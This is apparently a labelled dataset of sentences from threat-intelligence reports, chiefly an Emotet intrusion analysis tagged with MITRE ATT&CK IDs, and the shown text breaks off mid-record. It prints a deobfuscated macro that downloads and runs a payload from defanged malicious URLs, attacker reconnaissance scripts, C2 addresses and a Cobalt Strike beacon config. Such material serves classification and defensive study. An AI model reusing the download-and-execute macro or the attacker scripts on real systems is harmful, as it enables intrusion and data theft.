{"sentence": "Abbyy Leaked 203,000 Sensitive Customer Documents In Server Lapse (August 27, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The maker of an optical recognition software, Abbyy, suffered a breach of sensitive customer data because of a database server that was left unsecured without a password on the Internet.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The company’s MongoDB server was misconfigured in such a way that allowed for over 203,000 sensitive documents dating back to 2012 up to the present to be publicly accessible.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The server was taken offline after it was privately disclosed within the company.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "According to the company, the breach only affected one customer and files involving commercial information and that customer has been notified, as well as Abbyy has taken corrective measures to the problem.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "They have not released information regarding if unauthorized users had accessed the database while it was public.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here for Anomali recommendation Observed Threats This section includes the top threats observed from the Anomali Community user base as well as sensors deployed by Anomali Labs.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "A ThreatStream account is required to view this section.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here to request a trial.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Additional information regarding the threats discussed in this week’s Community Threat Briefing can be found below: Spear Phishing Spear phishing is a tactic in which a threat actor targets a specific business, individual, or organization via email or another form of electronic communication while tricking the recipient into thinking the email originated from an authentic source.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The objective of spear phishing is to gain an initial infection vector within a particular company’s or individual’s network.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Threat actors will attempt to make the communication appear to originate from a source that the recipient would be familiar with and/or deem trustworthy.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Spear phishing is used by all levels of threat actors, including Advanced Persistent Threat (APT) groups.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Dead or Alive?", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "An Emotet Story url: https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/ In this intrusion from May 2022, we observed a domain-wide compromise that started from a malware ridden Excel document containing the never-dying malware, Emotet.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The post-exploitation started very soon after the initial compromise.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The threat actors began enumerating the network once Emotet deployed a Cobalt Strike beacon on the beachhead host.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After three days of discovery and lateral movement, the threat actors exfiltrated sensitive data using Rclone before leaving the network.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After a successful takedown thanks to Interpol and Eurojust efforts, Emotet was resurrected in November 2021 with the help of Trickbot malware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Since then, Emotet has been testing different initial access payloads while its developers were busy improving the core functionality of the actual malware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Since January 2022 we observed an increase in the activity of Cobalt Strike deployments following Emotet intrusions.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "In a few weeks, we’ll have another Emotet report out from June, where the intrusion used similar TTPs and ended in ransomware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Case Summary Back in May, we witnessed an intrusion that started from a phishing email which included Emotet.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The intrusion lasted four days and contained many of the usual suspects, including the Cobalt Strike post-exploitation framework.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The Emotet infection was delivered using a xls file containing a malicious macro, a technique that has been on the wane in recent months.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After executing the Emotet malware, it ran a few basic Windows discovery commands (systeminfo, ipconfig, etc.), wrote a registry run key for persistence, and made its initial call outs to the command and control servers.", "labels": ["T1016", "T1059.003", "T1082", "T1547.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 40 minutes after the initial execution, the Emotet malware started to run a new Emotet email spreader campaign.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This entailed connecting to various email servers and sending new emails with attached xls and zip files.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This activity continued until the UTC clock turned over to the next day; at which point, the email spreader halted for a period of time and around seven hours into the second day, it began running the email spreader again.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 26 hours after the initial infection, while still running the email spreader, the Emotet malware pulled down and executed a Cobalt Strike payload on the beachhead host.", "labels": ["T1105"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Right after the beacon was executed, the threat actors began enumerating the network using native Windows binaries and the PowerView module, Invoke-ShareFinder.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 30 minutes after dropping the beacon the threat actor injected into a dllhost.exe process and then proceeded to dump credentials from LSASS.", "labels": ["T1003.001", "T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Another 20 minutes later, the threat actor ran Invoke-ShareFinder again and Invoke-Kerberoast.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "At 29 hours from initial access, the threat actors began their first lateral movement.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This was achieved by transferring a Cobalt Strike DLL over SMB and executing via a remote service on another workstation.", "labels": ["T1569.002", "T1570"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "From there, they ran Invoke-Sharefinder once again, along with AdFind, using a batch file named find.bat.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Pass-the-Hash behavior was observed targeting several accounts on the lateral host.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Use of Cobalt Strike’s Get-System module was also apparent via the logs.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The threat actors then proceeded to do additional network discovery using a batch script named p.bat to ping all servers in the network.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "More account discovery was then observed, with queries for Domain Administrators and a backup account.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "At 31 hours into the intrusion, the threat actors pivoted to the Domain Controller using the same Cobalt Strike DLL.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Once on the Domain Controller, the threat actors again used Get-System to elevate and then dumped LSASS.", "labels": ["T1003.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After completing that activity, the threat actors chose another server to push a file, 1.msi, to, which was the installation package for Atera–for an additional means of persistence and command and control.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "During this whole second day, the original Emotet infection on the beachhead host was still trying to send more malicious emails, finally stopping for the day a little before 23:00 UTC.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "They returned the next day, at the same time as the previous day, and picked up where they left off.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "They pivoted to a couple of workstations on the network using Cobalt Strike and installed Atera and Splashtop with a different MSI installer.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Once again, they executed Invoke-Sharefinder, AdFind, and the p.bat batch script to ping online servers.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Using the remote admin tools, they used Rclone to exfiltrate important data from a file server and upload it to MEGA.", "labels": ["T1219"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Interestingly, the threat actors exfiltrated the same data twice while running Rclone with the parameter –ignore-existing from two different hosts on the network.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 20:00 UTC the Emotet infection on the beachhead host began its email spreader activity again, only to halt at the change over at 00:00 UTC.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "On the last day of this intrusion, the threat actors returned during their normal working hours and used Rclone to exfiltrate IT-related data from a separate server.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This was the last activity we observed from this group.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "These cases commonly end up with ransomware in addition to data exfiltration.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This, however, was not the case with this intrusion as the threat actors were evicted before any final actions could be taken.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Timeline Analysis and reporting completed by @Kostastsale and @IcsNick Initial Access", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The threat actor gained access to the environment after a user opened an Excel document and enabled macros.", "labels": ["T1204.002"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The document came in via email in the form of a zip file which included an xls file.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Thanks for sharing @proxylife!", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The document contains hidden sheets, has white characters on a white background, and is attributed to SilentBuilder with Emotet, epoch5.", "labels": ["T1140"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "To deobfuscate the document the tool xlmdeobfuscator was used with the following output.", "labels": ["T1140"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After deobfuscation and cleaned up, the code in the macro looks as follows.", "labels": ["T1140"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "=CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//praachichemfood[.]com/wp-content/Mwmos/\",\"..\\hvxda.ocx\",0,0) =IF(JRSJG1<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"https[:]//lopespublicidade[.]com/cgi-bin/e5R5oG4iEaQnxQrZDh/\",\"..\\hvxda.ocx\",0,0)) =IF(JRSJG2<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"https[:]//bosny[.]com/aspnet_client/rnMp0ofR/\",\"..\\hvxda.ocx\",0,0)) =IF(JRSJG3<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//seasidesolutions[.]com/cgi-bin/WLoO6sEzYCJ3LTlC/\",\"..\\hvxda.ocx\",0,0))", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "=IF(JRSJG4<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//borgelin[.]org/belzebub/okwRWz1C/\",\"..\\hvxda.ocx\",0,0))", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "=IF(JRSJG5<0, CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//loa-hk[.]com/wp-content/ffBag/\",\"..\\hvxda.ocx\",0,0)) =IF(JRSJG6<0, CLOSE(0),) =EXEC(\"C:\\Windows\\System32\\regsvr32.exe ..\\hvxda.ocx\") =R Execution Emotet Execution The execution is done from an Excel document using regsvr32.exe with the payload, hvxda.ocx, that is a DLL file with the name of random characters, llJyMIOvft.dll .", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Worth noting, the Excel document failed to download the second payload from a few of the embedded URLs.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "A new file is then created in C:\\%USERPROFILE%\\AppData\\Local\\ with a folder that also consists of random characters.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Cobalt Strike Execution The Emotet DLL is then used to download Cobalt Strike, which is then injected into svchost and dllhost.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Sysmon showing Emotet starting the Cobalt Strike executable.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "A great way to get the Malleable profile (and additional beacon config), is to use Didier Stevens’s fantastic tool 1768.py.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Here, the tool is used with a process dump of the executable.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Persistence The Emotet malware infection on the beachhead host used a registry run key to maintain persistence.", "labels": ["T1547.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This registry key activity (Sysmon EventID 12 & 13) was observed continuously on the beachhead host for the first few days of the intrusion.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Beyond the beachhead host, the threat actor deployed several Atera/Splashtop remote access tools across the environment as an alternative means of access to the environment should they lose access to their Cobalt Strike beacons.", "labels": ["T1219"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Privilege Escalation Use of Cobalt Strike’s Get-System named pipe technique was observed on the Domain Controller and other hosts to elevate to System privileges.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Defense Evasion Process injection was observed during the intrusion by both Emotet and Cobalt Strike.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Emotet injected multiple times into svchost to execute certain functions, including discovery commands.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Cobalt Strike used process hollowing to launch under the context of the Dllhost.exe process.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We later saw Dllhost.exe injecting into multiple other processes, such as explorer.exe and svchost.exe, to execute further payloads.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Scanning process memory across affected hosts reveals both the direct Cobalt Strike processes and the injected processes using the Malpedia yara rule.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": ".Pid .ProcessName .CommandLine .Rule 4616 svchost.exe C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup -s", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "CDPUserSvc win_cobalt_strike_auto 4844 svchost.exe C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup -s", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "WpnUserService win_cobalt_strike_auto 10256 UOmCgbXygCe.exe “C:\\Users\\USER\\AppData\\Local\\FrlxbduRbdVAbVbS\\UOmCgbXygCe.exe” win_cobalt_strike_auto 836 svchost.exe C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p win_cobalt_strike_auto 1008 svchost.exe C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "-s LSM win_cobalt_strike_auto 9308 regsvr32.exe regsvr32 C:\\ProgramData\\1.dll win_cobalt_strike_auto 1056 svchost.exe C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p win_cobalt_strike_auto 1428 svchost.exe C:\\Windows\\system32\\svchost.exe -k ICService -p win_cobalt_strike_auto 6036 regsvr32.exe regsvr32 C:\\ProgramData\\1.dll win_cobalt_strike_auto Credential Access From the beachhead host credentials appear to have been dumped from an injection into the SearchIndexer process on the host.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Data observed using sysmon event id 10 shows the use of the SearchIndexer process, similar to behavior observed in a prior case, followed by known Cobalt Strike malleable profile named pipes.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "EventID: 10 SourceImage: C:\\Windows\\system32\\SearchIndexer.exe TargetImage: C:\\Windows\\system32\\lsass.exe GrantedAccess: 136208 CallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+9d1e4|C:\\Windows\\System32\\KERNELBASE.dll+2bcbe|C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Shared\\Ink\\IpsPlugin.dll+10369|C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Shared\\Ink\\IpsPlugin.dll+10b65|C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Shared\\Ink\\IpsPlugin.dll+8cb2|C:\\Program", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Files\\Common Files\\Microsoft Shared\\Ink\\IpsPlugin.dll+53c9|C:\\Windows\\System32\\KERNEL32.DLL+17034|C:\\Windows\\SYSTEM32\\ntdll.dll+52651", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "EventID: 17 EventType: CreatePipe Image: C:\\Windows\\system32\\SearchIndexer.exe PipeName: \\SearchTextHarvester Shortly after the credential dump using the SearchIndexer process, the Cobalt Strike process ran Invoke-Kerberoast looking for roastable accounts within the organization.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We observed Cobalt Strike beacons accessing LSASS on multiple occasions, on almost every compromised host.", "labels": ["T1003.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Discovery On the first day of the intrusion, the Emotet malware performed some basic discovery tasks on the host using built in Windows utilities.", "labels": ["T1059.003", "T1082"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "systeminfo ipconfig /all", "labels": ["T1016", "T1082"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "On the second day, the hands on activity from Cobalt Strike performed a more thorough examination of that host’s Windows domain.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "net group \"Domain Computers\" /domain C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "\"Domain Admins\" C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "\"Enterprise Admins\" C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "systeminfo C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "net users C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "nltest /DOMAIN_TRUSTS", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The threat actors launched the PowerView module, Invoke-Sharefinder, from almost all of the hosts to which they pivoted, including the domain controller.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "AdFind.exe, the command-line Active Directory query tool, was run on only one of the compromised hosts via the find.bat batch script.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The contents of the script are below: find.exe -f \"(objectcategory=person)\" > ad_users.txt find.exe -f \"objectcategory=computer\" > ad_computers.txt find.exe -f \"(objectcategory=organizationalUnit)\" > ad_ous.txt find.exe -sc trustdmp > trustdmp.txt find.exe -subnets -f (objectCategory=subnet)> subnets.txt find.exe -f \"(objectcategory=group)\" > ad_group.txt find.exe -gcb -sc trustdmp > trustdmp.txt echo end Using the data collected from previous activity, they created a target list which was then fed to a batch script named p.bat.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The batch file contained one line, which pinged a list of servers (servers.txt).", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The line can be seen below: for /f", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "%%i in (SERVERS.txt) do ping", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "i -n 1 >> res.txt Additionally, the threat actors displayed the share directories using dir.exe via the interactive shell from the Cobalt Strike beacon.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Lateral Movement The Cobalt Strike jump psexec (Run service EXE on the remote host) produced a 7045 System Windows event on remote hosts.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Example: Below, the network traffic shows the SMB lateral transfer of one of the Atera Agent MSI installers (1.msi) used to gain access laterally on a host and provide persistence for later access.", "labels": ["T1570"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The same can be observed for other payloads used during the intrusion as well; here we can see that same data using Zeek logs when the threat actors transferred the 1.dll Cobalt Strike beacon laterally to gain access to additional hosts.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We also observed Pass-The-Hash used throughout the intrusion via the Cobalt Strike Beacons.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Threat actors used PTH to acquire a session with elevated user access.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We observed the below logs being generated on the source host and domain controller that indicate the use of PTH.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Source Host: - Windows EID 4624 Logon Type = 9 Authentication Package = Negotiate Logon Process = seclogo - Windows EID 467 Domain Controller: - Windows EID 4776", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "You can read more about detecting “Pass-The-Hash” here by Stealthbits and here by Hausec.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Command and Control Emotet In the Emotet Excel document, the following URLs are hard coded, and obfuscated, to download the second stage.", "labels": ["T1027", "T1105"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "https[:]//lopespublicidade[.]com/cgi-bin/e5R5oG4iEaQnxQrZDh/ https[:]//bosny[.]com/aspnet_client/rnMp0ofR/ http[:]//seasidesolutions[.]com/cgi-bin/WLoO6sEzYCJ3LTlC/ http[:]//borgelin[.]org/belzebub/okwRWz1C/ http[:]//loa-hk[.]com/wp-content/ffBag/ The second stage of Emotet has a set of hard-coded IPs that it tries to connect to after the DLL is executed.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "hxxps[://]103[.]133[.]214[.]242/ hxxps[://]103[.]133[.]214[.]242:8080/ hxxps[://]103[.]41[.]204[.]169/ hxxps[://]103[.]41[.]204[.]169:8080/ hxxps[://]103[.]42[.]58[.]120/ hxxps[://]103[.]42[.]58[.]120:7080/ hxxps[://]103[.]56[.]149[.]105/ hxxps[://]103[.]56[.]149[.]105:8080/ hxxps[://]103[.]8[.]26[.]17/ hxxps[://]103[.]8[.]26[.]17:8080/ hxxps[://]104[.]248[.]225[.]227/ hxxps[://]104[.]248[.]225[.]227:8080/ hxxps[://]110[.]235[.]83[.]107/ hxxps[://]110[.]235[.]83[.]107:7080/ hxxps[://]116[.]124[.]128[.]206/ hxxps[://]116[.]124[.]128[.]206:8080/ hxxps[://]118[.]98[.]72[.]86/ hxxps[://]134[.]122[.]119[.]23/ hxxps[://]134[.]122[.]119[.]23:8080/ hxxps[://]139[.]196[.]72[.]155:8080/ hxxps[://]159[.]69[.]237[.]188/ hxxps[://]175[.]126[.]176[.]79/ hxxps[://]175[.]126[.]176[.]79:8080/ hxxps[://]178[.]62[.]112[.]199/ hxxps[://]178[.]62[.]112[.]199:8080/ hxxps[://]185[.]148[.]168[.]220/ hxxps[://]185[.]148[.]168[.]220:8080/ hxxps[://]188[.]225[.]32[.]231/ hxxps[://]188[.]225[.]32[.]231:4143/ hxxps[://]190[.]90[.]233[.]66/ hxxps[://]194[.]9[.]172[.]107/ hxxps[://]194[.]9[.]172[.]107:8080/ hxxps[://]195[.]154[.]146[.]35/ hxxps[://]195[.]77[.]239[.]39/ hxxps[://]195[.]77[.]239[.]39:8080/ hxxps[://]196[.]44[.]98[.]190/ hxxps[://]196[.]44[.]98[.]190:8080/ hxxps[://]202[.]134[.]4[.]210/ hxxps[://]202[.]134[.]4[.]210:7080/ hxxps[://]202[.]28[.]34[.]99/ hxxps[://]202[.]28[.]34[.]99:8080/ hxxps[://]202[.]29[.]239[.]162/ hxxps[://]203[.]153[.]216[.]46/ hxxps[://]207[.]148[.]81[.]119/ hxxps[://]207[.]148[.]81[.]119:8080/ hxxps[://]210[.]57[.]209[.]142/ hxxps[://]210[.]57[.]209[.]142:8080/ hxxps[://]217[.]182[.]143[.]207/ hxxps[://]36[.]67[.]23[.]59/ hxxps[://]37[.]44[.]244[.]177/ hxxps[://]37[.]44[.]244[.]177:8080/ hxxps[://]37[.]59[.]209[.]141/ hxxps[://]37[.]59[.]209[.]141:8080/ hxxps[://]45[.]71[.]195[.]104:8080/ hxxps[://]5[.]56[.]132[.]177:8080/ hxxps[://]51[.]68[.]141[.]164:8080/ hxxps[://]54[.]37[.]106[.]167:8080/ hxxps[://]54[.]37[.]228[.]122/ hxxps[://]54[.]38[.]143[.]246/ hxxps[://]54[.]38[.]143[.]246:7080/ hxxps[://]54[.]38[.]242[.]185/ hxxps[://]59[.]148[.]253[.]194/ hxxps[://]62[.]171[.]178[.]147:8080/ hxxps[://]66[.]42[.]57[.]149/ hxxps[://]68[.]183[.]91[.]111/ hxxps[://]68[.]183[.]91[.]111:8080/ hxxps[://]68[.]183[.]93[.]250/ hxxps[://]78[.]46[.]73[.]125/ hxxps[://]78[.]47[.]204[.]80/ hxxps[://]85[.]214[.]67[.]203/ hxxps[://]85[.]214[.]67[.]203:8080/ hxxps[://]85[.]25[.]120[.]45/ hxxps[://]85[.]25[.]120[.]45:8080/ hxxps[://]87[.]106[.]97[.]83/ hxxps[://]87[.]106[.]97[.]83:7080/ hxxps[://]88[.]217[.]172[.]165/ hxxps[://]88[.]217[.]172[.]165:8080/ hxxps[://]93[.]104[.]209[.]107/ hxxps[://]93[.]104[.]209[.]107:8080/ Cobalt Strike Emotet, later on, deployed Cobalt Strike for additional functionality.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "59.95.98.204 JA3:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "72a589da586844d7f0818ce684948eea JA3S: f176ba63b4d68e576b5ba345bec2c7b7 Certificate: [66:f7:4c:f9:56:5d:fe:15:a6:8c:62:b9:3d:72:cb:8e:c9:e9:89:02] Not Before: 2022/05/19 12:22:46 UTC Not After: 2023/05/19 12:22:46 (UTC) Issuer Org: jQuery Subject Common: jquery.com { \"beacontype\": [ \"HTTP\" ], \"sleeptime\": 45000, \"jitter\": 37, \"maxgetsize\": 1403644, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 206546002, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"59.95.98.204\", \"port\": 8080, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfWiK6EPk2D2Ho7CBgdUfK2kqa/1x2L0Tt0R4Pl/Sof+7skIOqclxG1PeQTbc0VYagoqiuCJCn/QQd8pJBzci5GMTtdrzcKqZXQBy3Rv7Sfv9v8MZQfU2UVrRgVChdAetwPDdSMAa5tsNhEKBDfpbpmhmXsjN10rW6mfPYu+kzuwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/jquery-3.3.1.min.js\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] } }, \"http-post\": { \"uri\": \"/jquery-3.3.2.min.js\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\" }, \"process-inject\": { \"allocator\": \"NtMapViewOfSection\", \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 17500, \"startrwx\": false, \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform-x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform-x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"userwx\": false }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": 